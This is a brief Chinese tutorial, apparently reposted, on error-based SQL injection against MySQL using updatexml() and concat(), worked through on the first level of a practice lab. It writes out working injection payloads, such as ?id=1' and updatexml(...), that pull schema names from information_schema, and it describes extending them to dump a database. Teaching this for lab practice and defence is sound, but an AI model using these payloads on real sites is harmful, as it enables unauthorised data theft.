SQL注入攻击(SQL注入(SQLi)攻击)-报错注入
頁面沒有顯示位 , 但有數(shù)據(jù)庫的報錯信息時 , 可使用報錯注入
報錯注入是最常用的注入方式 , 也是使用起來最方便(我覺得)的一種注入方式
?
updatexml(1,'~',3);- 第二個參數(shù)包含特殊字符時,數(shù)據(jù)庫會報錯,并將第二個參數(shù)的內(nèi)容顯示在報錯內(nèi)容中
- 返回結(jié)果的長度不超過32個字符
- MySQL5.1及以上版本使用
本次以SQLi第一關為案例
第一步,判斷注入類型
我們在參數(shù)中加入一個單引號 ' , 看其會不會報錯
?id=1'數(shù)據(jù)庫返回了一個錯誤 , 從錯誤來看 , 最外層的一對單引號來自數(shù)據(jù)庫的報錯格式 , 我們不用管
1 是我們傳遞的參數(shù) , 1旁邊的一對單引號 , 是SQL中包裹參數(shù)的單引號
而 1 右邊的一個單引號 , 是我們添加的單引號
也就是說 , 后臺SQL中傳遞參數(shù)時 , 參數(shù)包裹的就是單引號 , 固 單引號字符串型注入
第二步,脫庫
我們先來測試一下 , updatexml()是否能正常報錯
?id=1' and updatexml(1,concat('~','my par'),3) -- a?concat() , 用來拼接字符串 , 觸發(fā)updatexml()的報錯?
數(shù)據(jù)庫把我們的第二個參數(shù)返回到頁面了?
我們把第二個參數(shù) 替換成查詢語句 , 即可獲取到數(shù)據(jù)庫信息
?id=1' and updatexml(1,concat('~', (select schema_name from information_schema.schemata limit 0,1) ),3) -- a?我們把第二個參數(shù) 替換成查詢語句 , 即可獲取到數(shù)據(jù)庫信息
?id=1' and updatexml(1,concat('~', (select schema_name from information_schema.schemata limit 0,1) ),3) -- a使用分頁來查詢第幾個數(shù)據(jù)庫 , 0開始
接下來可以將'~' 后面的SQL替換成其他的查詢語句 , 從而實現(xiàn)脫庫?
總結(jié)
以上是生活随笔為你收集整理的SQL注入攻击(SQL注入(SQLi)攻击)-报错注入的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: SQL注入(SQL注入(SQLi)攻击)
- 下一篇: SQL注入(SQL注入(SQLi)攻击)